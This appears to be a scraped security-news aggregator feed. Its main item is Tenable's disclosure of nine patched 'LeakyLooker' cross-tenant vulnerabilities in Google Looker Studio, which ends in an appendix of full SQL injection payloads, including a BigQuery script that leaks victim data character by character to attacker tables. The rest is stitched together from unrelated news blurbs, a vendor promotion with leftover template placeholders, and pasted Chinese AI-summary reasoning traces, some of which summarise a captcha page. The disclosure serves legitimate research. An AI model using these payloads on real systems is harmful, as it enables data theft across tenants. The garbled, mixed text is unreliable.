Aggregator

The State Department frames data sovereignty and innovation as opposing forces. Modern encryption proves we can have both.

The post No, it’s not ‘unnecessarily burdensome’ to control your own data appeared first on CyberScoop.

The Russian state-sponsored APT28 threat group is using a custom variant of the open-source Covenant post-exploitation framework for long-term espionage operations. [...]

Tenable Research revealed "LeakyLooker," a set of nine novel cross-tenant vulnerabilities in Google Looker Studio. These flaws could have let attackers exfiltrate or modify data across Google services like BigQuery and Google Sheets. Google has since remediated all identified issues.

Key takeaways

• Nine novel vulnerabilities: The vulnerabilities allowed attackers to run arbitrary SQL queries on victims’ databases and exfiltrate sensitive data with 0-click and 1-click attacks.

1. Cross Tenant Unauthorized Access - Zero-Click SQL Injection on Database Connectors - TRA-2025-28
2. Cross Tenant Unauthorized Access - Zero-Click SQL Injection Through Stored Credentials - TRA-2025-29
3. Cross Tenant SQL Injection on BigQuery Through Native Functions - TRA-2025-27
4. Cross Tenant Data Sources Leak With Hyperlinks - TRA-2025-40
5. Cross Tenant SQL injection on Spanner and BigQuery Through Custom Queries on a Victim’s Data Source - TRA-2025-38
6. Cross Tenant SQL Injection on BigQuery and Spanner Through the Linking API - TRA-2025-37
7. Cross Tenant Data Sources Leak With Image Rendering - TRA-2025-30
8. Cross Tenant XS Leak on Arbitrary Data Sources With Frame Counting and Timing Oracles - TRA-2025-31
9. Cross Tenant Denial of Wallet Through BigQuery - TRA-2025-41

• Cross-tenant data exposure: Attackers could gain access to entire datasets and projects across different cloud "tenants" (different companies).
• Patched: Google has patched the vulnerabilities following a responsible disclosure by Tenable.

We discovered and disclosed nine novel cross-tenant vulnerabilities in Google Looker Studio (formerly Data Studio). Dubbed "LeakyLooker", the vulnerabilities broke fundamental design assumptions, revealed a new attack class, and could have allowed attackers to exfiltrate, insert, and delete data in victims’ services and Google Cloud environment.

These vulnerabilities exposed sensitive data across Google Cloud Platform (GCP) environments, potentially affecting any organization using Google Sheets, BigQuery, Spanner, PostgreSQL, MySQL, Cloud Storage, and almost any other Looker Studio data connector. All issues have been remediated by Google following Tenable’s reports.

We will demonstrate how Looker Studio’s deep integration with these GCP services along with other platforms created a huge attack surface and novel vulnerabilities.

The vulnerabilities demonstrate a new attack surface that can be abused by attackers in cloud environments and vendors should be aware of.

We often see business intelligence (BI) platforms as polished mirrors reflecting an organization’s data in beautiful, actionable charts. 

However, our latest research into the internals of Looker Studio led to the discovery of the "LeakyLooker" vulnerabilities, which broke the fundamental promise of a BI platform: that a "viewer" should never be able to control, modify nor exfiltrate the data they are viewing.

What is Looker Studio?

Looker Studio is a cloud-based BI and data visualization platform that allows users to turn raw data into interactive, shareable reports. By connecting to various sources, such as Google Analytics, BigQuery, or SQL databases, it enables teams to build reports that update in real-time, making complex datasets easy to interpret through charts and tables. Because it is built on the Google Cloud infrastructure, it relies heavily on a permission-sharing model similar to Google Docs, where reports can be viewed or edited based on specific user credentials or public links.
 

An example of a Looker Studio report 

 

Looker Studio’s interesting service architectureOwner vs. viewer credentials

To understand why these vulnerabilities are so critical, we first have to look at how Looker Studio handles "trust." When you connect a database to a report, you have to decide whose identity the report should use to access the connected data source. For example: Who is querying the attached database?

Looker Studio offers two credential models:

1. Owner credentials

The report uses the owner’s permissions to fetch data, regardless of who is looking at it.

It allows you to share a report with people who don't have direct access to your data source, such as sharing a sales report with a client who doesn't have access to your sales database.

In this flow, the data is fetched via the owner's authentication token.

2. Viewer credentials

The report uses the Viewer’s own permissions to fetch data.

It’s the most secure way to ensure people only see what they are allowed to see. If a Viewer doesn't have access to the underlying database, the report’s data source will show an error when trying to load.

Each viewer must provide their own authentication token to see the data.

Breaking the trust

The core of this research was the realization that these two paths create two very different "trust boundaries" that can be attacked independently. The goal was to break the platform by isolating these mechanisms:

• Targeting viewer credentials (The 1-click path): We looked for ways to manipulate a report so that it forces a viewer to unknowingly execute a query or manipulate data they do have permission for, and optionally send the results to the attacker. Because this requires the victim to interact with a malicious link, it's classified as a 1-click attack. It exploits the victim's own access level.
• Targeting owner credentials (The 0-click path): This is where the real "architectural flaw" lies. We realized that if we could talk directly to the backend of a report set to owner credentials, we could act as the report’s owner. By sending a crafted request to a public report or a shared report, the attacker triggers the Looker Studio service to fetch or manipulate data using the owner’s identity. Because this happens entirely on the server side without needing a victim to click anything, it becomes a 0-click exploit that can, as an example, drain entire datasets.

From a security researcher's perspective, the breakthrough lies in decoupling the platform's two primary authentication mechanisms to expose two distinct, high-impact attack paths. This is done by isolating how the Looker Studio handles Viewer versus Owner credentials.

Looker Studio connectors

Looker Studio acts as the visualization layer for vast amounts of enterprise data. To function, it uses "connectors" to bridge the gap between the report and the underlying data source (like BigQuery or Cloud SQL).

The "live data" trap

Looker Studio’s greatest feature, and its architectural Achilles' heel is live data.

Unlike static reports, Looker Studio reports are designed to be dynamic. As an example, when a sale is completed and the transaction is reflected in the underlying database, the chart should update the moment a user refreshes their browser. To achieve this magic, Looker Studio acts as a live proxy.

As an example on a BigQuery data source: When a user opens a report, their browser sends a request to Looker Studio, which then translates that request into a SQL query and sends it to the backend database in real-time.

Breaking the owner’s credentials with 0-click vulnerabilitiesVulnerability #1: The Alias Injection (Cross-tenant unauthorized access - 0-click SQL injection on database connectors)

We ran our proof of concept (POC) on a BigQuery connector, but this vulnerability also affects other database connectors such as Spanner.

Our investigation began by observing the network traffic during a report load. We saw a specific HTTP request called batchedDataV2.

As we poked at the JSON body of this request, we noticed something suspicious: Looker Studio generates unique aliases for every column, such as qt_1spiqerwsd.

This is the pitfall. The backend was taking these user-controlled strings and concatenating them directly into a live SQL statement that is actually a BigQuery job: SELECT column AS [USER_CONTROLLED_ALIAS] FROM table...

We realized that if we could "break out" of the alias string, we could hijack the entire query. However, Google had built some mitigations against these attempts. If we tried to use a dot (.) to reach another Big Query project (victimsproject.dataset.table), the system swapped it for an underscore (_). If we used a space, it was stripped.

We bypassed these by abusing some SQL quirks:

• The "no spaces" problem: We bypassed this using SQL comments /**/. The SQL engine treats comments as whitespace, and the "space-stripping" filter ignores them.
• The "no dots" problem: We used BigQuery’s own SQL-scripting capabilities. By using CHR(46) (the ASCII code for a dot) and CONCAT(), we built the project paths in execution after the filter had already looked at our input.

The payload: 0-click execution:
 

The payload can be viewed in the Appendix.

Our injection point starts from the string “hey”. We could now run arbitrary SQL queries across the owner's entire GCP project, all triggered by a victim simply having a public Looker Studio report with a vulnerable database data source or by sharing it with the attacker beforehand.

The injection looks like the following in the resulting BigQuery job. We highlighted it for the readers' convenience:
 

Attackers could search for public Looker Studio reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

A POC of a full data exfiltration method is demonstrated in Vulnerability #3 in this blog.

Vulnerability #2: The Sticky Credential (Cross-tenant unauthorized access - 0-click SQL injection through stored credentials)

The second discovery was a fundamental logic flaw in how Looker Studio handles its "Copy Report" feature.
 

The "what if" question

We asked: “What happens when a viewer, who should have zero access to tamper with the report’s data source or credentials, clones a report that uses the owner’s credentials mode on its data sources?”

To use a JDBC-based data source, such as PostgreSQL or MySQL, a user inputs credentials to the data source to attach it to their report. For example: database URL, username, and password.

When you copy a report, the attached data source is cloned and created in the new copy:
 

Remarkably, we found that for these kinds of JDBC data sources, the cloned data source kept its credentials when being copied to the new report. The issue here is that when copying a report, the user who copied it is now the owner of the new report copy, and while being an owner of a report, the user can access features they could not as a viewer. One of these features is managing the report’s data source:
 

And running custom queries against it! We ran a table creation query for a POC:
 

The payload can be viewed in the Appendix.

Alarmingly, there is no need to re-authenticate with the database credentials we do not know as attackers, since the backend kept the credentials from the victim’s original report. It is surprising to note that despite the fact that the console yielded this error message …
 

… the custom query ran behind the scenes, and we just added a new table to the victim’s DB, all from simply viewing a public Looker Studio report:
 

 

1. A victim creates a report as public or shares it with a specific recipient, and uses a JDBC connected data source such as PostgreSQL. The database password is safely hidden.
2. The attacker clicks "Make a Copy."
3. In a secure architecture, the credentials should stay with the original report. But the logic copied the credentials along with the report.
4. Because the attacker now "owns" the created report’s copy, they gain access to the Custom Query feature. They can now write arbitrary CRUD queries such as DELETE * FROM secret_table and Looker Studio will happily execute them using the original victim's saved credentials.

Attackers could search for public reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

Breaking a viewer’s credentials with 1-click vulnerabilitiesVulnerability #3: Cross-tenant SQL injection on BigQuery through native functions

Once we identified that a viewer’s credentials could be exploited as a 1-click path, this became clear: If we could force the victim's browser to execute our code under their own identity, the platform’s security model would essentially work for us, not against us.

The attack's hidden setup: Manipulating the connection

Normally, the UI only lets us connect reports to data sources we have permission to access, like BigQuery tables. However, the requests behind the scenes would look something like: "Connect my_project.my_dataset.my_table." 
What if we modify these requests?

We used a web proxy tool to intercept these. We then modified the HTTP requests (specifically, createBlockDatasource and publishDatasource) to replace our project's details, with those of a cross tenant victim (our own victim mock up project):
 

Even though we could not see the victim's actual data at this stage, we had now created a report that, in its configuration, believed it was connected to the victim's BigQuery table, all while using a viewer's credentials.
 

 

The next step: Native functions and dimensions

Now that our report was stealthily connected to the victim’s data, we needed a way to execute our own commands. This brought us to another powerful, but often overlooked, Looker Studio feature: Native Functions.

A dimension in Looker Studio is like a category or a field in your data (e.g., "customer name," "product ID"). Report editors can perform calculations on these fields to display specific data to a report viewer. Sometimes, you need to perform complex calculations on these dimensions that Looker Studio’s built-in functions can’t handle. That's where NATIVE_DIMENSION comes in. It allows you to write raw SQL directly into a field, and Looker Studio will run that SQL against your database, to give the report viewer the desired result. That SQL will run in a BigQuery job… 

This was it. NATIVE_DIMENSION lets us execute custom SQL and runs on a report load (live data). So we can create a data source that belongs to the victim, add a dimension with our malicious SQL, and share the report with the victim. Since the data source is set to the viewer's credentials, the victim will execute our malicious SQL while viewing and loading the shared report and data source, without even noticing.
 

But there was a catch: Google tries to block dangerous SQL. If we just typed SELECT * FROM victims_table, Looker Studio would respond with an "SQL queries are not allowed" error.

Google’s protection mechanism checked for specific keywords like SELECT and FROM. This hinted that the protection might be a simple text-based filter.

SQL comments to the rescue

This is where a classic SQL injection technique proved effective. In SQL, anything between /**/ (a multi-line comment), is not treated by SQL.

Our thought process: What if we tricked the filter by putting an empty comment between the forbidden words? We tried injecting SEL/**/ECT and FR/**/OM. To our surprise, the validation system accepted it. The filter did not catch a raw “SELECT” nor “FROM” and thought it was safe. The underlying BigQuery engine simply ignored the comment and executed the SELECT or FROM command.

Building the super-payload: Multi-statement SQL injection

A single SELECT statement is useful, but we wanted to steal all the data. This required more complex logic: iterating through tables, finding column names, and then extracting every single row. BigQuery had some limitations for a fully-working one-liner injection.

Our thought process: BigQuery, like many SQL databases, supports multi-statement scripts. You can write several SQL commands separated by semicolons and wrap them in a BEGIN...END block. This allows for complex programming logic directly within the SQL.

We realized we could craft an entire program inside that NATIVE_DIMENSION field. This program would:

1. Declare variables: For example, we could set up temporary storage to hold names of columns or rows as we discovered them.
2. Query the victim's schema: We used BigQuery's INFORMATION_SCHEMA.COLUMNS (a special table that describes the structure of a database) to dynamically find all the table and column names the victim had access to. We didn't need to know them beforehand.
3. Loop through everything: We built WHILE loops to systematically go through each column, and then each row within that column.
4. We commented out the last piece of SQL added by default by Looker Studio with “--”.

Blind exfiltration with cross-tenant logs

Now, how do we get the stolen data out? We couldn't just INSERT data into our own tables; that would require specific permissions (OAuth scopes) that the victim might not have granted.

We devised a trick using cross-tenant log analysis:

1. Attacker setup: In our own project, we created a series of empty BigQuery tables and made them publicly accessible to allow cross-tenant queries. We named them: exfil-a, exfil-b, exfil-c, exfil-1, exfil-2, and so on, for every character and number.
2. The "ping" mechanism: Inside our injected SQL, when we discovered a character from the victim's data (e.g., the letter 'L' from a column named "Liv"), we would execute a SELECT statement that looked like this: SELECT * FROM attacker_project.exfil-l.
3. Log analysis: The victim's Big Query job, running our injected script, would try to read from our exfil-l table. This read operation wouldn't return any data since our tables were empty, but it would generate a log entry on our Google Cloud project. By monitoring these logs and piecing together the sequence of table accesses, we could reconstruct the victim's data.

The payload can be viewed in the Appendix.

The attack in action: A 1-click data exfiltration

Combining all these pieces, we could create a malicious Looker Studio report. We could share it with a victim (even unchecking the "Notify" box for stealth) or embed it on a website.

The moment the victim opens the report (or visits our malicious website), their browser:

1. Connects to our report.
2. Uses their credentials to access the data source (which we've secretly configured to point to their BigQuery).
3. Executes our NATIVE_DIMENSION calculated field to display and load the victim’s data source we attached.
4. Our injected multi-statement script runs, systematically extracting all their BigQuery table and column names in their GCP project, then all the data.
5. Each extracted character triggers a "ping" to one of our public exfil tables.
6. We monitor our own GCP logs, and reconstruct the victim's entire database, all without them ever seeing a warning or granting explicit permission.
    

 

Conclusion and guidance

BI tools are often treated as read-only platforms trusted to visualize data, while keeping it safe from compromises. The surprising reality: One of the world’s most widely deployed BI platforms could have become a stealthy entry point into the heart of your cloud infrastructure or services data.

This research began with a simple question:

Can Looker Studio be used for more than just looking? The answer turned out to be far worse than expected.

Google has patched these issues globally. Since all instances of Looker Studio are managed by Google, no action is required by customers.

To limit exposure to these kinds of attacks, always audit who has "View" access to your reports whether they are public or private, treat BI connectors as a critical part of your attack surface, and do not allow the service to access a connector you do not use anymore. 

To limit access to Looker Studio connectors, you should follow the following guide:
 

In that specific example, Looker Studio has access to a lot of services, such as Google SQL, BigQuery, Cloud Storage, Analytics and Drive.

We would like to thank the Google Cloud Vulnerability Reward Program (VRP) team for their professional response and rapid mitigation of these issues.

Learn more about Tenable Cloud Security

Appendix: Payloads

Vulnerability 1:
 

injection_starts_here/**/FROM/**/UNNEST([STRUCT('a'/**/AS/**/clmn0_)])/**/GROUP/**/BY/**/1; BEGIN/**/DECLARE/**/dot/**/STRING;DECLARE/**/table_name2/**/STRING;DECLARE/**/sql_query1/**/ STRING;DECLARE/**/sql_query2/**/STRING;DECLARE/**/sql_query3/**/STRING; SET/**/dot/**/=/**/CHR(46);SET/**/table_name2/**/=/**/CONCAT ('lmatan-project',/**/dot,/**/'mydataset',/**/dot,/**/'exfila'); SET/**/sql_query2/**/=/**/CONCAT('SELECT/**/*/**/FROM/**/`',/**/table_name2,/**/'`'); EXECUTE/**/IMMEDIATE/**/sql_query2;END;SELECT/**/NULL/**/AS/**/t0_qt_1spiqerwsd

Vulnerability 2:

CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(50) NOT NULL, email VARCHAR(100) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP );

 

Vulnerability 3:

NATIVE_DIMENSION("JSON_VALUE(name, '$.agea') AS clmn10_, (/**/SELECT AS STRUCT name /**/ FROM placeholderproject.placeholderdataset.placeholdertable LIMIT 1) AS clmn0_, t0.name AS clmn1_, NULL AS clmn2_, NULL AS clmn3_ /**/FROM placeholderproject.placeholderdataset.placeholdertable AS t0) GROUP BY clmn0_, clmn1_, clmn2_, clmn3_ ORDER BY 2 DESC;BEGIN DECLARE col_names ARRAY<STRING>; DECLARE col_index INT64 DEFAULT 1; DECLARE col_name STRING; DECLARE char_index INT64; DECLARE char STRING; DECLARE dyn_sql STRING; DECLARE row_array ARRAY<STRING>; DECLARE row_idx INT64; DECLARE row_val STRING; DECLARE row_char_index INT64; DECLARE row_char STRING; SET col_names = (/**/SELECT ARRAY_AGG(column_name) /**/FROM placeholderproject.placeholderdataset.INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'placeholdertable' AND data_type = 'STRING'); WHILE col_index <= ARRAY_LENGTH(col_names) DO SET col_name = col_names[ORDINAL(col_index)]; SET char_index = 1; WHILE char_index <= LENGTH(col_name) DO SET char = LOWER(SUBSTR(col_name, char_index, 1)); IF REGEXP_CONTAINS(char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position, '%s' AS source_column /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", char, char, char_index, col_name, char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for column name char '%s' (pos %d) of column '%s'\", char, char, char_index, col_name) AS error_message; END; END IF; SET char_index = char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET dyn_sql = FORMAT(\"\"\" /**/SELECT ARRAY_AGG(CAST(%s AS STRING)) /**/FROM placeholderproject.placeholderdataset.placeholdertable WHERE %s IS NOT NULL \"\"\", col_name, col_name); EXECUTE IMMEDIATE dyn_sql INTO row_array; SET row_idx = 1; WHILE row_idx <= ARRAY_LENGTH(row_array) DO SET row_val = row_array[ORDINAL(row_idx)]; SET row_char_index = 1; WHILE row_char_index <= LENGTH(row_val) DO SET row_char = LOWER(SUBSTR(row_val, row_char_index, 1)); IF REGEXP_CONTAINS(row_char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position_in_value, '%s' AS column_name, '%s' AS full_value /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", row_char, row_char, row_char_index, col_name, row_val, row_char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for row value char '%s' (pos %d) of column '%s'\", row_char, row_char, row_char_index, col_name) AS error_message; END; END IF; SET row_char_index = row_char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET row_idx = row_idx + 1; END WHILE; SET col_index = col_index + 1; END WHILE; END; /**/SELECT COUNT(1) AS t0_qt_m7hbtdzlsd, clmn0_ AS t0_qt_pwfmdd4lsd, clmn1_ /**/FROM ( /**/SELECT (/**/SELECT AS STRUCT 1 AS a) AS clmn0_, t0.name AS clmn1_ /**/FROM `placeholderproject.placeholderdataset.placeholdertable` AS t0 --","INT64")

 

一线0day大佬亲授，3大框架漏洞挖掘实战课，满10人开班

假冒CleanMyMac网站诱导用户运行终端命令，植入窃密木马。

看雪论坛作者ID：执着的猫

嗯，用户发来了一个请求，让我帮忙总结一篇文章的内容，控制在一百个字以内。而且不需要用“文章内容总结”或者“这篇文章”这样的开头，直接写描述就行。看起来用户可能是在使用某个系统或者网站的时候遇到了环境异常的问题，需要进行验证才能继续访问。 首先，我需要分析用户的实际需求。他们可能是在遇到问题后，想要快速了解问题的解决方法。所以，总结的内容要简洁明了，直接说明问题和解决步骤。 接下来，考虑用户的身份。可能是一个普通用户，在使用某个服务时遇到了技术问题。他们可能不太熟悉技术术语，所以总结的时候要用简单易懂的语言。 然后，思考用户的深层需求。他们可能不仅想知道发生了什么问题，还想尽快解决它，继续使用服务。因此，在总结中不仅要描述问题，还要提到解决的方法——完成验证后即可继续访问。 最后，确保总结控制在一百个字以内，并且直接描述内容，不使用任何开头的模板语句。这样用户可以一目了然地看到问题和解决方案。 当前环境异常需完成验证后方可继续访问。

好的，我现在需要帮用户总结一篇文章的内容，控制在100字以内。用户的要求是直接写文章描述，不需要开头的总结语。首先，我得仔细阅读文章内容，抓住主要信息。 文章标题是“环境异常”，内容提到当前环境出现异常，完成验证后可以继续访问，并有一个“去验证”的链接。看起来这是一个提示用户需要进行验证才能继续访问的通知。 接下来，我需要将这些信息浓缩成一句话。要确保包含环境异常、验证完成和继续访问这几个关键点。同时，语言要简洁明了，不超过100字。 可能的表达方式是：“当前环境出现异常，需完成验证后方可继续访问。”这样既涵盖了主要信息，又符合字数要求。 最后，检查一下是否符合用户的所有要求：中文、100字以内、直接描述内容、没有多余的开头语。确认无误后就可以给出这个总结了。 当前环境出现异常，需完成验证后方可继续访问。

嗯，用户让我帮忙总结一下这篇文章的内容，控制在一百个字以内，而且不需要用“文章内容总结”之类的开头，直接写描述。好的，我先仔细看看文章。 文章主要讲的是MIND公司作为第一家数据安全公司，通过ISO 42001标准认证，这个标准是关于AI管理系统的第一国际标准。MIND的AI工具在数据分类、风险评估等方面发挥作用，并且通过第三方评估确保合规。 接下来，我需要把重点提炼出来：MIND是第一家获得ISO 42001认证的数据安全公司，这个标准确保AI的开发和部署符合全球规范。他们通过第三方评估了38个控制点，涉及数据治理、模型开发等多个方面。这对数据安全来说非常重要，因为处理敏感信息需要更高的标准。 然后，我需要把这些信息浓缩到100字以内。要确保涵盖MIND的成就、ISO标准的意义以及对数据安全的影响。 可能的结构：MIND成为首家获得ISO 42001认证的数据安全公司，该标准确保AI合规和责任治理。通过第三方评估38个控制点，涵盖数据治理、模型开发等。这为数据安全提供了更高的保障。 检查一下字数是否合适，大约在90字左右。这样应该能满足用户的要求。 MIND成为首家通过ISO 42001认证的数据安全公司,该国际标准确保AI系统合规与责任治理。其AI工具通过独立第三方评估38项控制点,涵盖数据治理、模型开发等,为敏感数据提供更高保障。

好的，我现在需要帮用户总结一篇文章的内容，控制在100字以内，并且不需要特定的开头。首先，我得仔细阅读用户提供的文章内容。文章标题是“环境异常”，里面提到当前环境异常，完成验证后可以继续访问，并有一个“去验证”的按钮。 接下来，我要分析用户的需求。用户可能希望快速了解文章的主要内容，而不需要逐字阅读。他们可能是在寻找简洁的信息，用于快速决策或分享。因此，总结需要准确、简洁，并且抓住关键点。 然后，我需要确定文章的核心信息。核心信息包括环境异常、验证的必要性以及验证后的结果。因此，总结应该涵盖这些点：环境异常导致访问受限，完成验证后可以继续访问。 现在，我需要将这些信息浓缩到100字以内，并且用自然流畅的中文表达。避免使用复杂的句子结构或专业术语，确保所有人都能理解。 最后，检查字数是否符合要求，并确保没有遗漏关键信息。这样就能提供一个既准确又简洁的总结，满足用户的需求。 当前环境出现异常问题,需完成验证后才能继续访问系统,请尽快进行验证操作以恢复正常使用权限。

嗯，用户让我帮忙总结一下这篇文章的内容，控制在一百个字以内，而且不需要用“文章内容总结”之类的开头。首先，我需要仔细阅读这篇文章，理解它的主要信息。 文章讲的是Tenable Research发现了Google Looker Studio中的九个新的跨租户漏洞，这些漏洞被命名为“LeakyLooker”。这些漏洞可以让攻击者窃取或修改Google服务中的数据，比如BigQuery和Google Sheets。攻击者可以利用0点击或1点击攻击来执行任意SQL查询，从而获取敏感数据。此外，这些漏洞还可能导致跨租户的数据泄露，影响多个公司的数据安全。 接下来，Google已经修复了所有被发现的问题。文章还详细描述了这些漏洞的工作原理，比如如何利用Looker Studio的连接器和权限模型来进行攻击。最后，作者建议用户审计报告的访问权限，并限制不必要的连接器访问。 总结起来，我需要在100字以内涵盖这些关键点：九个新漏洞、跨租户攻击、数据窃取和修改、Google修复问题。 Tenable Research发现Google Looker Studio存在九个新的跨租户漏洞（"LeakyLooker"），允许攻击者通过0点击或1点击攻击窃取或篡改敏感数据。这些漏洞影响BigQuery、Google Sheets等服务，并可能导致跨租户数据泄露。Google已修复所有问题。

AI is embedded in security tools across the enterprise. MIND is the first data security company to answer how their AI is governed, audited and held accountable.

The AI tools built into your security stack are making decisions at a scale no human team can match. They're classifying data, scoring risk, triggering enforcement and shaping your program's posture without a line of policy being manually written. That's the promise of AI-powered security. But it also raises a question most vendors haven't been willing to answer: how do you know the AI doing that work is governed responsibly?

ISO 42001 is the answer the industry has been building toward. Published by the International Organization for Standardization in December 2023, it's the world's first international standard for AI management systems. It doesn't certify a product. It certifies that an organization's approach to developing and deploying AI, including the policies, controls, risk assessments and oversight mechanisms in place, meets a globally recognized standard.

{children}

What ISO 42001 actually requires

This isn't a checkbox audit. Certification under ISO 42001 requires an independent third-party assessment across 38 distinct controls organized into nine areas: data governance, model development, operations, security, ethics, accountability, transparency, incident response and continuous improvement. Every AI system MIND deploys has been evaluated for how it handles data quality and lineage, how it approaches adversarial testing, how it responds to incidents and how it maintains transparency with the organizations that rely on it.

The standard also requires continuous improvement. This isn't a milestone you reach and file away. It's a framework that evolves alongside the AI itself, with ongoing monitoring, documentation and governance cycles built into how we operate. That's a meaningful commitment, and one that most AI-powered vendors in this space have not made.

Why being first in data security matters

Not all AI carries the same risk. A recommendation algorithm that misclassifies a product is inconvenient. An AI system that misclassifies sensitive data in your environment, or generates false positives that erode analyst trust, has real consequences: regulatory exposure, missed incidents and the slow erosion of confidence in the program itself.

Data security tools operate on the most sensitive information in the enterprise. Intellectual property, customer records, regulated data, the files that could become a breach headline if they reach the wrong destination. The AI that governs how that data is discovered, classified and protected needs to be held to a higher standard than tools operating in lower-stakes contexts.

Achieving ISO 42001 first in data security isn't symbolic. It reflects what we believe responsible AI in this space should look like, and it sets a bar we'd encourage the rest of the industry to meet.

{children}

What this means for your program

For security leaders managing risk and reporting to leadership, this certification changes a specific conversation. When you're asked how the AI in your security stack is governed, what it's been audited against and who holds it accountable, ISO 42001 gives you a clear and verifiable answer. Not a vendor's word for it. An independent third-party assessment against an internationally recognized standard.

We've seen how the absence of AI governance frameworks creates friction, not just internally, but with auditors, regulators and boards who are increasingly asking these questions. The certification doesn't just reflect MIND's commitment to responsible AI. It gives the security leaders who rely on us something concrete to stand behind in those conversations.

That's what Stress-Free DLP looks like in 2026: not just automation that works, but automation you can trust, explain and defend. If you're ready to see how MIND's certified platform fits into your data security program, we'd be glad to show you.

{children}.

The post MIND is the first data security company to achieve ISO 42001 certification appeared first on Security Boulevard.

The resurgence of one of Russia’s most notorious APT groups

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds EPM, SolarWinds, and Omnissa Workspace One flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added Apple, Rockwell, and Hikvision flaws to its Known Exploited Vulnerabilities (KEV) catalog. Below are the flaws added to the catalog: The first vulnerability added to the catalog is […]

好的，我现在需要帮用户总结一篇文章的内容，控制在100字以内，并且不需要特定的开头。首先，我得仔细阅读文章内容，理解主要信息。 文章主要讲的是美国网络安全和基础设施安全局（CISA）将三个漏洞加入到已知被利用的漏洞目录中。这三个漏洞分别来自Ivanti EPM、SolarWinds和Omnissa Workspace One。每个漏洞都有CVE编号和CVSS评分，分别涉及认证绕过、反序列化和SSRF问题。 接下来，我需要提取关键点：CISA新增了三个漏洞到KEV目录，这些漏洞来自哪些公司，每个漏洞的类型以及影响。然后，我还要注意截止日期，联邦机构需要在特定日期前修复这些漏洞。 现在，我要把这些信息浓缩成100字以内的中文摘要。要确保涵盖CISA的动作、新增的漏洞及其影响，以及修复的截止日期。 可能的结构是：开头说明CISA新增了三个高危漏洞到目录中，然后分别简述每个漏洞的影响和类型，最后提到修复的截止日期。 这样就能在有限的字数内传达所有重要信息了。 美国网络安全机构CISA将Ivanti EPM、SolarWinds和Omnissa Workspace One三个高危漏洞加入已知被利用漏洞目录。这些漏洞包括认证绕过、反序列化及SSRF攻击风险，可能被用于窃取敏感信息或远程控制系统。联邦机构需在指定日期前修复这些漏洞以防范攻击。

嗯，用户让我帮忙总结一篇文章，控制在一百个字以内，而且不需要用“文章内容总结”或者“这篇文章”这样的开头。直接写描述就行。 首先，我需要理解这篇文章的内容。文章标题是“Jailbreaking the F-35 Fighter Jet”，看起来是关于F-35战斗机的破解问题。文章提到荷兰国防部长表示可以破解这些飞机，以接受第三方软件。这涉及到对美国技术依赖的担忧，因为F-35的软件维护依赖于美国。 接下来，看看用户的指示：用中文总结，控制在100字以内。所以我要抓住主要点：荷兰考虑破解F-35，以减少对美国的依赖，并接受第三方软件。 还要注意不要使用特定的开头词，直接描述内容。可能还需要考虑一些评论中的观点，比如技术挑战、法律后果等，但用户只要求总结文章内容，所以可能不需要深入讨论评论部分。 最后，确保语言简洁明了，不超过100字。 荷兰考虑破解F-35战斗机以减少对美国技术依赖，并接受第三方软件维护。

OpenClaw, a self-hosted AI agent, rose to become GitHub’s most-starred repository weeks after its launch, drawing a large developer community and immediate researcher attention. Nobody anticipated this growth would soon become an unexpected stress test for the global vulnerability tracking ecosystem. In late February, the project began publishing security advisories at a rate few open […]

The post OpenClaw Advisory Surge Exposes Gap Between GitHub and CVE Vulnerability Tracking appeared first on Cyber Security News.

Anthropic’s Claude Code Review is a new tool, available as a research preview beta for Team and Enterprise plans, that sends a team of AI agents to examine every pull request. “We needed a reviewer we could trust on every PR. Code Review is the result: deep, multi-agent reviews that catch bugs human reviewers often miss themselves. It’s a more thorough (and more expensive) option than our existing Claude Code GitHub Action, which remains open … More →

The post New Claude tool uses AI agents to find bugs in pull requests appeared first on Help Net Security.

好的，我现在要帮用户总结这篇文章的内容。用户的要求是用中文，控制在100字以内，不需要特定的开头，直接描述文章内容。 首先，我需要仔细阅读文章内容。文章主要讲的是今年的游戏开发者大会（GDC）在旧金山召开，但很多国际游戏开发者选择缺席。原因是因为他们觉得美国不再安全，担心旅行风险，尤其是边检问题。Godot基金会的执行董事和独立工作室的创意总监都提到他们不会参加。去年参加的人也采取了额外的安全措施，并且很多人表示不想再参加今年的大会。 接下来，我要提取关键信息：GDC在旧金山召开，国际开发者缺席，安全担忧，特别是边检问题，去年的情况和今年的选择。 然后，我需要将这些信息浓缩成一句话或几句话，确保不超过100字。同时要避免使用“这篇文章”或“文章内容总结”这样的开头。 可能的结构是：地点、事件、缺席情况、原因、引用例子。例如：“数万游戏开发者本周齐聚旧金山参加GDC大会，但许多国际开发者因安全担忧而缺席。” 这样既简洁又涵盖了主要内容。 检查一下字数是否符合要求，并确保信息准确无误。最后确认没有使用任何禁止的开头语。 数万游戏开发者本周齐聚旧金山参加GDC大会，但许多国际开发者因安全担忧而缺席。

